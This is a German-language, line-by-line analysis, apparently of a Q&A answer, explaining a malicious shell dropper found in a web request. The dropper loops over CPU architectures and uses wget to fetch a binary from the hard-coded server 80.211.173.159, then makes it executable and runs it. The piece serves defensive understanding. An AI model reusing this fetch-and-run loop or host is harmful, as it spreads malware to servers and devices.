Zeile für Zeile:
#!/bin/sh
Legt die sh
Hülle fest, je nachdem, was die Shebang-Linie ist. sh%20/tmp/ks
in der Anfrage überschreibt dies dies, so dass diese Zeile als normaler Kommentar behandelt und ignoriert wird.
u="asgknskjdgn"
Gibt einen beliebigen Namen an, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin nicht sicher, warum sie es nicht einfach nutzen würden mktemp
, aber vielleicht ist das nicht auf allen Plattformen verfügbar.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Zählt mehrere gängige CPU-Architekturen auf.
http_server="80.211.173.159" http_port=80
Der Server, der den Exploit hat.
cd /tmp/||cd /var/
Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich glaube, dass SELinux dabei helfen wird, indem es strengere Regeln bezüglich der Möglichkeiten des Webservers durchführt als das Dateisystem allein.
for name in $bin_names do
Für jede CPU-Architektur…
rm -rf $u
Entfernt zuvor getestete Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.
cp $SHELL $u
Kopiert die aktuelle ausführbare Shell-Datei ( /bin/sh
). Kann wegen der nächsten Zeile ignoriert werden.
chmod 777 $u
Damit hat jeder vollen Zugriff auf die neue Datei. Dies hätte nach dem wget
Befehl geschehen müssen, was entweder ein Zeichen für einen Shell-Neuling oder eine Fehlleitung ist.
>$u
Leert die Datei. Sinnlos wegen der nächsten Zeile.
wget http://$http_server:$http_port/$name -O -> $u
Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $u
hätte geschrieben werden können -O - > $u
(der Bindestrich bedeutet, dass der Download in die Standardausgabe geschrieben werden sollte), was äquivalent ist -O $u
.
./$u $name
Führt das Exploit-Skript mit der Architektur als erstes Argument aus.
done
Beendet die Schleife.
Anscheinend handelt es sich hierbei um ein triviales Exploitversuchsskript, bei dem bekannte Exploits gegen verschiedene CPU-Plattformen versucht werden. Ich weiß nicht, warum es $u
dreimal überschrieben wird, aber diese Operationen könnten einfach aus einer früheren Iteration des Skripts bestehen. Vermutlich hatte die frühere Version die Exploits hart codiert und nicht dynamisch bereitgestellt - die erste ist einfacher, aber sie garantiert fast, dass das Skript im Laufe der Zeit weniger effektiv sein wird, da Fehler behoben wurden.